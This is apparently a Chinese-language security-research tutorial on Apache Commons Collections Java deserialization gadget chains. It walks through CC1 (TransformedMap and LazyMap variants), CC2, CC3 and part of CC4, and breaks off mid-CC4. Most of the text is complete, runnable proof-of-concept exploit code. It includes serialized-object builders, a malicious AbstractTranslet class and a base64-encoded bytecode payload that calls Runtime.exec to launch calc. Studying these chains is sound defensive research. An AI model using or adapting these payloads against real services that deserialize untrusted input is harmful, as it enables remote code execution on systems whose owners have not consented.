前言
Commons Collections(以下简称 CC)是 Apache 开源的 Java 集合操作库,广泛应用于各类 Java 项目。在 2015 年 FoxGlove Security 的安全研究爆出后,Commons Collections 反序列化漏洞成为 Java 安全史上的一个里程碑——它直接催生了 Ysoserial 项目,也推动了 JEP 290 反序列化过滤机制的落地。
从安全研究的视角看,CC 链的本质思路是:寻找一条从 readObject() 入口到危险 sink(Runtime.exec、TemplatesImpl 字节码加载、JNDI 注入)的完整调用路径。Ysoserial 的作者 @frohoff 和 @gebl 先后发现了 CC1 到 CC7 共七条利用链,外加依赖 Commons BeanUtils 的 CB 链,本文将逐一覆盖。
CC 版本与 JDK 版本总览:
| 版本 |
Commons Collections |
关键差异 |
| 3.x 主流链 |
3.1 ~ 3.2.2 |
InvokerTransformer 等 transform 类存在,LazyMap / TransformedMap 可用 |
| 4.x 主流链 |
4.0 ~ 4.4 |
4.0 起 LazyMap 的 factory 改为 Factory 接口,InvokerTransformer 不再反序列化;TransformingComparator 从 Serializable 改版 |
| JDK 版本 |
关键影响 |
| JDK 6u45 / 7u21 / 8u0 ~ 8u71 |
无内置 filter,所有链均可使用 |
| JDK 8u71+ |
AnnotationInvocationHandler.readObject() 不再使用 setValue(),CC1-TM 变体失效 |
| JDK 8u121+ |
RMI 反序列化过滤默认开启 |
| JDK 8u191+ |
RMI useCodebaseOnly=true,限制 JNDI 远程类加载 |
三种 Sink 类型:
- Runtime.exec —— 最经典的命令执行,CC1~CC7 中多数链的默认 sink,缺点是命令参数受 OS shell 限制。
- TemplatesImpl 字节码加载 —— 通过
TemplatesImpl.newTransformer() 触发 defineClass() 加载恶意字节码,执行任意 Java 代码,绕过 InvokerTransformer 黑名单(CC3 的核心理念)。
- JNDI 注入 —— 结合
InitialContext.lookup() 实现远程类加载(8u191 前)或反序列化绕过,此处仅作提及。
前置说明: 本文假设读者具备 Java 反序列化基础知识(ObjectInputStream.readObject 的入口机制、反射等),若尚不熟悉可先阅读 Java 反序列化基础原理文章。本文所有 POC 均可在 JDK 8u65 ~ 8u71 搭配 Commons Collections 3.2.2(CC1/3/5/6/7)或 4.0(CC2/4)的环境下运行。
Java 反序列化快速入门
Java 反序列化漏洞的核心在于:ObjectInputStream.readObject() 在读取序列化字节流重构对象时,会触发目标对象及其可达对象的 readObject 方法——若调用链上的某个类在反序列化复原时执行了危险操作(如反射调用、文件写入、命令执行),攻击者就能通过精心构造的序列化数据控制关键参数,达成 RCE。Commons Collections 之所以成为反序列化攻击的”军火库”,正是因为它提供了大量可在 readObject 自由触发链中自动调用的工具类(transformers、decorators、comparators),将普通的 Map/Collection 操作层层包装为遥控炸弹。
CC1:AnnotationInvocationHandler 双变体
CC1 是 Ysoserial 中的第一条链,利用 sun.reflect.annotation.AnnotationInvocationHandler 作为反序列化入口,通过 ChainedTransformer 串联反射调用最终执行 Runtime.exec()。根据 Map 包装方式的不同,分为 TransformedMap 和 LazyMap 两个变体。
JDK 要求: 只适用于 JDK 8u71 及之前版本。8u71 中 AnnotationInvocationHandler 重写了 readObject,不再调用 setValue,导致 TransformedMap 变体失效;LazyMap 变体虽然 8u71+ 仍可理论触发,但需结合其他绕过手段。
CC 版本要求: Commons Collections 3.x(InvokerTransformer 未受限制)。
核心基础知识
InvokerTransformer 将 Java 反射调用包装为 Transformer.transform(input) 形式:
1 2 3 4 5 6 7 8 9
| InvokerTransformer invoker = new InvokerTransformer( "exec", new Class[]{String.class}, new Object[]{"calc.exe"} ); Runtime runtime = Runtime.getRuntime();
invoker.transform(Runtime.getRuntime());
|
构造方法接受三个参数:字符串方法名、Class类的数组(参数类型)、Object类的数组(参数值)。调用 transform(input) 时,实际上是 input.getClass().getMethod(name, paramTypes).invoke(input, args)。
ChainedTransformer 将多个 Transformer 串联,前一个 transform() 的返回值作为下一个的输入:
1 2 3 4 5 6 7 8 9
| Transformer[] transformers = { new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}), new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}), new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}) };
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers); Object result = chainedTransformer.transform(null);
|
调用关系:
ConstantTransformer.transform(null) 返回 Runtime.class
InvokerTransformer("getMethod", ...).transform(Runtime.class) 等价于 Runtime.class.getMethod("getRuntime", null)
InvokerTransformer("invoke", ...).transform(返回的Method对象) 等价于 method.invoke(null),拿到 Runtime 实例
InvokerTransformer("exec", ...).transform(Runtime实例) 等价于 runtime.exec("calc")
调用链:
1 2 3 4 5 6 7 8 9 10
| ObjectInputStream.readObject() AnnotationInvocationHandler.readObject() memberValues.entrySet() → TransformedMap.entrySet() memberValue.setValue() → MapEntry.setValue() parent.checkSetValue() → TransformedMap.checkSetValue() valueTransformer.transform() → ChainedTransformer.transform() ConstantTransformer.transform() → Runtime.class InvokerTransformer.transform() → getMethod("getRuntime") InvokerTransformer.transform() → invoke() InvokerTransformer.transform() → exec("calc")
|
关键步骤解析:
TransformedMap.checkSetValue() 是 protected 方法,它调用 this.valueTransformer.transform(value)。
TransformedMap 的构造方法私有,通过装饰器 TransformedMap.decorate(map, keyTransformer, valueTransformer) 创建实例。
AnnotationInvocationHandler.readObject() 遍历 memberValues.entrySet() 并对每个 entry 调用 setValue()。
setValue() 走到 AbstractInputCheckedMapDecorator.MapEntry.setValue(),它调用 parent.checkSetValue(value) —— 这里的 parent 就是 TransformedMap 实例。
- 需要
hashMap 中至少存在一个键值对,否则 entrySet() 为空,循环不执行。
完整 POC:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48
| import org.apache.commons.collections.Transformer; import org.apache.commons.collections.functors.ChainedTransformer; import org.apache.commons.collections.functors.ConstantTransformer; import org.apache.commons.collections.functors.InvokerTransformer; import org.apache.commons.collections.map.TransformedMap;
import java.io.*; import java.lang.annotation.Retention; import java.lang.reflect.Constructor; import java.util.HashMap; import java.util.Map;
public class CC1_TransformedMap { public static void main(String[] args) throws Exception { Transformer[] transformers = new Transformer[]{ new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}), new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}), new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}) }; ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
HashMap<Object, Object> map = new HashMap<>(); map.put("value", "Rsecret2"); Map<Object, Object> transformedMap = TransformedMap.decorate(map, null, chainedTransformer);
Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler"); Constructor declaredConstructor = c.getDeclaredConstructor(Class.class, Map.class); declaredConstructor.setAccessible(true); Object o = declaredConstructor.newInstance(Retention.class, transformedMap);
serialize(o); deserialize(); }
public static void serialize(Object obj) throws Exception { ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin")); oos.writeObject(obj); oos.close(); }
public static void deserialize() throws Exception { ObjectInputStream ois = new ObjectInputStream(new FileInputStream("ser.bin")); ois.readObject(); ois.close(); } }
|
注意事项:
- 必须往 HashMap 中至少
put 一个键值对,否则 entrySet() 返回空集合,循环永远不会执行。
AnnotationInvocationHandler 构造方法私有,必须通过反射调用。
- JDK 8u71 后
readObject 改写不再调用 setValue,此变体失效。
变体二:LazyMap + 动态代理
调用链:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
| ObjectInputStream.readObject() AnnotationInvocationHandler.readObject() Map(Proxy).entrySet() AnnotationInvocationHandler.invoke() LazyMap.get() ChainedTransformer.transform() ConstantTransformer.transform() InvokerTransformer.transform() Method.invoke() Class.getMethod() InvokerTransformer.transform() Method.invoke() Runtime.getRuntime() InvokerTransformer.transform() Method.invoke() Runtime.exec()
|
关键步骤解析:
LazyMap 继承 AbstractMapDecorator,其 get() 方法在 key 不存在时调用 factory.transform(key)。
LazyMap 构造方法私有,通过 LazyMap.decorate(map, transformer) 创建,factory 可控。
AnnotationInvocationHandler.invoke() 内部调用 memberValues.get(member),其中的 memberValues 在构造时可控。
- 利用 Java 动态代理:创建一个包裹了恶意
LazyMap 的 Map 代理对象,当另一个 AnnotationInvocationHandler 在 readObject 中调用 memberValues.entrySet() 时,实际上触发了代理的 invoke()。
- 总共有两个
AnnotationInvocationHandler 实例:
- 第一个:作为 Map 代理的处理器,包裹了恶意
LazyMap
- 第二个:其
memberValues 指向该 Map 代理,在 readObject 时触发代理的 invoke()
动态代理简要回顾:
1 2 3 4 5 6
| Map proxy = (Map) Proxy.newProxyInstance( Map.class.getClassLoader(), new Class[]{Map.class}, handler );
|
完整 POC:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58
| import org.apache.commons.collections.Transformer; import org.apache.commons.collections.functors.ChainedTransformer; import org.apache.commons.collections.functors.ConstantTransformer; import org.apache.commons.collections.functors.InvokerTransformer; import org.apache.commons.collections.map.LazyMap;
import java.io.*; import java.lang.annotation.Retention; import java.lang.reflect.Constructor; import java.lang.reflect.InvocationHandler; import java.lang.reflect.Proxy; import java.util.HashMap; import java.util.Map;
public class CC1_LazyMap { public static void main(String[] args) throws Exception { Transformer[] transformers = { new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}), new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}), new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}) };
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers); HashMap hashMap = new HashMap<>(); Map lazyMap = LazyMap.decorate(hashMap, chainedTransformer);
Class<?> cls = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler"); Constructor<?> constructor = cls.getDeclaredConstructor(Class.class, Map.class); constructor.setAccessible(true); InvocationHandler handler = (InvocationHandler) constructor.newInstance(Retention.class, lazyMap);
Map proxy = (Map) Proxy.newProxyInstance( Map.class.getClassLoader(), new Class[]{Map.class}, handler );
InvocationHandler o = (InvocationHandler) constructor.newInstance(Retention.class, proxy);
serialize(o); deserialize(); }
public static void serialize(Object obj) throws Exception { ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin")); oos.writeObject(obj); oos.close(); }
public static void deserialize() throws Exception { ObjectInputStream ois = new ObjectInputStream(new FileInputStream("ser.bin")); ois.readObject(); ois.close(); } }
|
注意事项:
LazyMap.get() 触发条件:key 在内部的 HashMap 中不存在。因此 readObject 中触发时,默认不存在该 key,自然执行 factory.transform()。
- 此为 ysoserial CC1 实际采用的 LazyMap 变体,是理解 CC5/6/7 的基础。
CC2 是建立在 Commons Collections 4.x 上的链,直接将 InvokerTransformer("newTransformer") 作用于 TemplatesImpl 对象上,通过 PriorityQueue 的 heapify -> siftDown -> compare 路径触发 transform。
JDK 要求: 无特殊版本限制(不依赖 AnnotationInvocationHandler)。
CC 版本要求: Commons Collections 4.x。4.0 版 TransformingComparator 实现了 Serializable。
设计初衷: 当 CC3 的 TrAXFilter 链被 WAF/黑名单拦截时,回退到直接用 InvokerTransformer.transform(templates) 触发 newTransformer。
调用链:
1 2 3 4 5 6 7 8 9 10 11
| PriorityQueue.readObject() heapify() siftDown(i, queue[i]) siftDownUsingComparator(k, x) TransformingComparator.compare(obj1, obj2) this.transformer.transform(obj1) InvokerTransformer.transform(TemplatesImpl) TemplatesImpl.newTransformer() getTransletInstance() defineTransletClasses() defineClass() // 加载恶意字节码
|
关键步骤解析:
- 构造
InvokerTransformer("newTransformer", ...) 包装 TemplatesImpl.newTransformer。
- 用
TransformingComparator 包装该 transformer。
- 创建
PriorityQueue 并传入 TransformingComparator。
- 关键在于
PriorityQueue.add() 时的 size 策略:
- 第一次
add(templates) 时 size == 0,直接 this.queue[0] = templates,不触发 siftUp(因为 i == 0 分支)。
- 第二次
add(2) 时 size == 1,走 siftUp(1, 2) → comparator.compare(2, templates)。
- 反序列化时
readObject() → heapify() → siftDown(0, queue[0]) 即 siftDown(0, templates) → comparator.compare(templates, queue[1]) → 触发 transform(templates)。
- 为了在构造阶段避免提前触发攻击,先用假的
ConstantTransformer(1) 初始化 TransformingComparator,add 结束后再反射替换为真正的 InvokerTransformer。
完整 POC:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55
| import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl; import org.apache.commons.collections4.Transformer; import org.apache.commons.collections4.comparators.TransformingComparator; import org.apache.commons.collections4.functors.ConstantTransformer; import org.apache.commons.collections4.functors.InvokerTransformer;
import java.io.*; import java.lang.reflect.Field; import java.util.Base64; import java.util.PriorityQueue;
public class CC2 { public static void main(String[] args) throws Exception { byte[] bytes = Base64.getDecoder().decode("yv66vgAAADQALAoABgAeCgAfACAIACEKAB8AIgcAIwcAJAEABjxpbml0PgEAAygpVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBABJMb2NhbFZhcmlhYmxlVGFibGUBAAR0aGlzAQATTG9yZy9leGFtcGxlL2V2aWxsOwEACkV4Y2VwdGlvbnMHACUBAAl0cmFuc2Zvcm0BAHIoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007W0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7KVYBAAhkb2N1bWVudAEALUxjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NOwEACGhhbmRsZXJzAQBCW0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7BwAmAQCmKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEACGl0ZXJhdG9yAQA1TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvZHRtL0RUTUF4aXNJdGVyYXRvcjsBAAdoYW5kbGVyAQBBTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjsBAApTb3VyY2VGaWxlAQAKZXZpbGwuamF2YQwABwAIBwAnDAAoACkBAAhjYWxjLmV4ZQwAKgArAQARb3JnL2V4YW1wbGUvZXZpbGwBAEBjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvcnVudGltZS9BYnN0cmFjdFRyYW5zbGV0AQATamF2YS9pby9JT0V4Y2VwdGlvbgEAOWNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9UcmFuc2xldEV4Y2VwdGlvbgEAEWphdmEvbGFuZy9SdW50aW1lAQAKZ2V0UnVudGltZQEAFSgpTGphdmEvbGFuZy9SdW50aW1lOwEABGV4ZWMBACcoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvUHJvY2VzczsAIQAFAAYAAAAAAAMAAQAHAAgAAgAJAAAAQAACAAEAAAAOKrcAAbgAAhIDtgAEV7EAAAACAAoAAAAOAAMAAAAMAAQADQANAA4ACwAAAAwAAQAAAA4ADAANAAAADgAAAAQAAQAPAAEAEAARAAIACQAAAD8AAAADAAAAAbEAAAACAAoAAAAGAAEAAAASAAsAAAAgAAMAAAABAAwADQAAAAAAAQASABMAAQAAAAEAFAAVAAIADgAAAAQAAQAWAAEAEAAXAAIACQAAAEkAAAAEAAAAAbEAAAACAAoAAAAGAAEAAAAVAAsAAAAqAAQAAAABAAwADQAAAAAAAQASABMAAQAAAAEAGAAZAAIAAAABABoAGwADAA4AAAAEAAEAFgABABwAAAACAB0=");
TemplatesImpl templates = new TemplatesImpl(); setFieldValue(templates, "_name", "evil"); setFieldValue(templates, "_class", null); setFieldValue(templates, "_bytecodes", new byte[][]{bytes}); setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());
InvokerTransformer<Object, Object> invokerTransformer = new InvokerTransformer<>("newTransformer", new Class[]{}, new Object[]{}); TransformingComparator transformingComparator = new TransformingComparator(new ConstantTransformer(1)); PriorityQueue priorityQueue = new PriorityQueue(transformingComparator);
priorityQueue.add(templates); priorityQueue.add(2);
setFieldValue(transformingComparator, "transformer", invokerTransformer);
serialize(priorityQueue); deserialize(); }
public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception { Field field = obj.getClass().getDeclaredField(fieldName); field.setAccessible(true); field.set(obj, value); }
public static void serialize(Object obj) throws Exception { ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("CC2.txt")); oos.writeObject(obj); oos.close(); }
public static void deserialize() throws Exception { ObjectInputStream ois = new ObjectInputStream(new FileInputStream("CC2.txt")); ois.readObject(); ois.close(); } }
|
注意事项:
- 必须使用 Commons Collections 4.x 版本,CC 3.x 无此链。
- 第一次
add(templates) 时 size == 0,元素直接放入 queue[0] 不触发比较——这是绕过构造阶段触发的关键。
TemplatesImpl 所需恶意字节码在 CC3 章节 中详细说明,此处直接复用。
- 与 CC4 的区别:CC2 直接使用
InvokerTransformer("newTransformer") 而 CC4 使用 ChainedTransformer + InstantiateTransformer(TrAXFilter)。
另一种 size 赋值方式(CC4 补充)
CC4 中 PriorityQueue 的 size 为 0 导致 heapify 不进入循环的问题,也可以通过调用 add 方法解决,此方法同样适用于 CC2:
1 2 3 4 5 6 7 8 9 10 11
| TransformingComparator transformingComparator = new TransformingComparator(new ConstantTransformer(1));
PriorityQueue priorityQueue = new PriorityQueue(transformingComparator); priorityQueue.add(1); priorityQueue.add(2); setFieldValue(transformingComparator, "transformer", chaind);
serialize(priorityQueue); deserialize();
|
add 方法调用 offer,内部对 size 做了 this.size = i + 1,调用两次后 size == 2,足够触发 heapify 循环。且 add(1) 和 add(2) 时 comparator 是假的 ConstantTransformer(1),不会触发攻击,后续反射替换为真链即可。
CC3 是 Ysoserial 中第一个引入 字节码加载 sink 的链。在 CC1/CC2 使用 Runtime.exec() 被安全产品盯上后,CC3 改用 TemplatesImpl.newTransformer() 加载任意字节码执行 Java 代码,绕过了对 InvokerTransformer("exec", ...) 的特征检测。
JDK 要求: JDK 8u71 及之前(因前半段仍使用 AnnotationInvocationHandler)。
CC 版本要求: Commons Collections 3.x。
字节码加载基础:TemplatesImpl
TemplatesImpl 类中定义了一个内部类 TransletClassLoader,继承自 ClassLoader,并重写了 defineClass 方法:
1 2 3
| Class defineClass(byte[] b) { return defineClass(null, b, 0, b.length); }
|
完整的调用路径:
1 2 3 4 5 6
| TemplatesImpl.newTransformer() getTransletInstance() if (_class == null) defineTransletClasses() loader.defineClass(_bytecodes[i]) // 加载字节码 _class[_transletIndex].newInstance() // 实例化 → 触发构造函数中的 payload
|
前置条件:
_name 不为 null(getTransletInstance() 首行检查)
_class 为 null(否则跳过 defineTransletClasses())
_bytecodes 为恶意字节码的 byte[][] 数组
_tfactory 不为 null(必须是 TransformerFactoryImpl 对象)
- 字节码对应的类必须是
AbstractTranslet 的子类(getTransletInstance 中有强制类型转换)
以上字段均为 private,需要用反射设置。
恶意字节码模板:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21
| import com.sun.org.apache.xalan.internal.xsltc.DOM; import com.sun.org.apache.xalan.internal.xsltc.TransletException; import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet; import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator; import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import java.io.IOException;
public class evil extends AbstractTranslet { public evil() throws IOException { Runtime.getRuntime().exec("calc.exe"); }
@Override public void transform(DOM document, SerializationHandler[] handlers) throws TransletException { }
@Override public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException { } }
|
编译为字节码后 Base64 编码即可作为 POC 的 payload。
字节码加载的最小触发示例:
1 2 3 4 5 6 7 8
| byte[] bytes = Base64.getDecoder().decode("恶意的字节码");
TemplatesImpl Impl = new TemplatesImpl(); setFieldValue(Impl, "_name", "evil"); setFieldValue(Impl, "_class", null); setFieldValue(Impl, "_bytecodes", new byte[][]{bytes}); setFieldValue(Impl, "_tfactory", new TransformerFactoryImpl()); Impl.newTransformer();
|
为了解决”如何通过 Transformer 链调用 TemplatesImpl 的构造方法”的问题,CC3 引入两个关键组件:
- TrAXFilter —— 其构造方法接受
Templates 参数并调用 templates.newTransformer():
1 2 3 4 5
| public TrAXFilter(Templates templates) throws TransformerConfigurationException { this._templates = templates; this._transformer = (TransformerImpl) templates.newTransformer(); }
|
- InstantiateTransformer —— 通过反射调用构造方法并实例化对象,是
InvokerTransformer 的构造方法调用替代品:
1 2 3 4 5
| Transformer instantiate = new InstantiateTransformer( new Class[]{String.class, String.class}, new Object[]{"Charlie", "abc"} ); Person p1 = (Person) instantiate.transform(Person.class);
|
调用链:
1 2 3 4 5 6 7 8 9 10 11 12
| AnnotationInvocationHandler.readObject() LazyMap.get() / TransformedMap entrySet 迭代 ChainedTransformer.transform(null) ConstantTransformer.transform(null) → TrAXFilter.class InstantiateTransformer.transform(TrAXFilter.class) TrAXFilter.class.getConstructor(Templates.class).newInstance(Impl) TrAXFilter 构造方法 Impl.newTransformer() // TemplatesImpl 实例 getTransletInstance() defineTransletClasses() defineClass(bytecodes) // 加载恶意字节码 newInstance() // 触发构造函数 → exec("calc")
|
完整 POC:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73
| import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter; import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl; import org.apache.commons.collections.Transformer; import org.apache.commons.collections.functors.ChainedTransformer; import org.apache.commons.collections.functors.ConstantTransformer; import org.apache.commons.collections.functors.InstantiateTransformer; import org.apache.commons.collections.map.LazyMap;
import javax.xml.transform.Templates; import java.io.*; import java.lang.annotation.Retention; import java.lang.reflect.Constructor; import java.lang.reflect.Field; import java.lang.reflect.InvocationHandler; import java.lang.reflect.Proxy; import java.util.Base64; import java.util.HashMap; import java.util.Map;
public class CC3 { public static void main(String[] args) throws Exception { byte[] bytes = Base64.getDecoder().decode("yv66vgAAADQALAoABgAeCgAfACAIACEKAB8AIgcAIwcAJAEABjxpbml0PgEAAygpVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBABJMb2NhbFZhcmlhYmxlVGFibGUBAAR0aGlzAQATTG9yZy9leGFtcGxlL2V2aWxsOwEACkV4Y2VwdGlvbnMHACUBAAl0cmFuc2Zvcm0BAHIoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007W0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7KVYBAAhkb2N1bWVudAEALUxjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NOwEACGhhbmRsZXJzAQBCW0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7BwAmAQCmKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEACGl0ZXJhdG9yAQA1TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvZHRtL0RUTUF4aXNJdGVyYXRvcjsBAAdoYW5kbGVyAQBBTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjsBAApTb3VyY2VGaWxlAQAKZXZpbGwuamF2YQwABwAIBwAnDAAoACkBAAhjYWxjLmV4ZQwAKgArAQARb3JnL2V4YW1wbGUvZXZpbGwBAEBjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvcnVudGltZS9BYnN0cmFjdFRyYW5zbGV0AQATamF2YS9pby9JT0V4Y2VwdGlvbgEAOWNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9UcmFuc2xldEV4Y2VwdGlvbgEAEWphdmEvbGFuZy9SdW50aW1lAQAKZ2V0UnVudGltZQEAFSgpTGphdmEvbGFuZy9SdW50aW1lOwEABGV4ZWMBACcoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvUHJvY2VzczsAIQAFAAYAAAAAAAMAAQAHAAgAAgAJAAAAQAACAAEAAAAOKrcAAbgAAhIDtgAEV7EAAAACAAoAAAAOAAMAAAAMAAQADQANAA4ACwAAAAwAAQAAAA4ADAANAAAADgAAAAQAAQAPAAEAEAARAAIACQAAAD8AAAADAAAAAbEAAAACAAoAAAAGAAEAAAASAAsAAAAgAAMAAAABAAwADQAAAAAAAQASABMAAQAAAAEAFAAVAAIADgAAAAQAAQAWAAEAEAAXAAIACQAAAEkAAAAEAAAAAbEAAAACAAoAAAAGAAEAAAAVAAsAAAAqAAQAAAABAAwADQAAAAAAAQASABMAAQAAAAEAGAAZAAIAAAABABoAGwADAA4AAAAEAAEAFgABABwAAAACAB0=");
TemplatesImpl Impl = new TemplatesImpl(); setFieldValue(Impl, "_name", "evil"); setFieldValue(Impl, "_class", null); setFieldValue(Impl, "_bytecodes", new byte[][]{bytes}); setFieldValue(Impl, "_tfactory", new TransformerFactoryImpl());
ConstantTransformer trAX = new ConstantTransformer(TrAXFilter.class); InstantiateTransformer in = new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{Impl}); Transformer[] transformers = new Transformer[]{trAX, in}; ChainedTransformer chaind = new ChainedTransformer(transformers);
HashMap hashMap = new HashMap<>(); Map lazyMap = LazyMap.decorate(hashMap, chaind);
Class<?> cls = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler"); Constructor<?> constructor = cls.getDeclaredConstructor(Class.class, Map.class); constructor.setAccessible(true); InvocationHandler handler = (InvocationHandler) constructor.newInstance(Retention.class, lazyMap);
Map proxy = (Map) Proxy.newProxyInstance( Map.class.getClassLoader(), new Class[]{Map.class}, handler ); InvocationHandler o = (InvocationHandler) constructor.newInstance(Retention.class, proxy);
serialize(o); deserialize(); }
public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception { Field field = obj.getClass().getDeclaredField(fieldName); field.setAccessible(true); field.set(obj, value); }
public static void serialize(Object obj) throws Exception { ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin")); oos.writeObject(obj); oos.close(); }
public static void deserialize() throws Exception { ObjectInputStream ois = new ObjectInputStream(new FileInputStream("ser.bin")); ois.readObject(); ois.close(); } }
|
注意事项:
- 字节码必须继承
AbstractTranslet,否则在 getTransletInstance() 中的强制转换 (AbstractTranslet) this._class[this._transletIndex].newInstance() 会抛出 ClassCastException。
_tfactory 不能为 null,需要传入 new TransformerFactoryImpl()。
- 与 CC1 一样,JDK 8u71 后
AnnotationInvocationHandler 变化导致此链失效;但 CC3 的字节码负载本身可复用于其他链(CC4/CC5/CC6/CC7/CB)。
CC4 本质上是 CC2 和 CC3 的结合:用 CC2 的 PriorityQueue → TransformingComparator.compare() 入口,装载 CC3 的 ChainedTransformer(TrAXFilter + InstantiateTransformer) 字节码加载链。
JDK 要求: 无特殊版本限制(不需 AnnotationInvocationHandler)。
CC 版本要求: Commons Collections 4.x。
调用链:
1 2 3 4 5 6 7 8 9 10 11
| PriorityQueue.readObject() heapify() siftDown(i, queue[i]) siftDownUsingComparator(k, x) TransformingComparator.compare(obj1, obj2) this.transformer.transform(obj1) ChainedTransformer.transform() ConstantTransformer.transform() → TrAXFilter.class InstantiateTransformer.transform(TrAXFilter.class) → new TrAXFilter(Impl) TrAXFilter 构造方法 → Impl.newTransformer() defineClass(bytecodes) → 执行 calc
|
关键步骤解析——size 字段的坑:
PriorityQueue.heapify() 的循环条件为 for (int i = (this.size >>> 1) - 1; i >= 0; i--),要求 size >= 2 才会进入循环。而新创建的 PriorityQueue 其 size 字段为 0,必须通过反射将其设为 2 或更大:
1 2 3
| Field size = priorityQueue.getClass().getDeclaredField("size"); size.setAccessible(true); size.set(priorityQueue, 4);
|
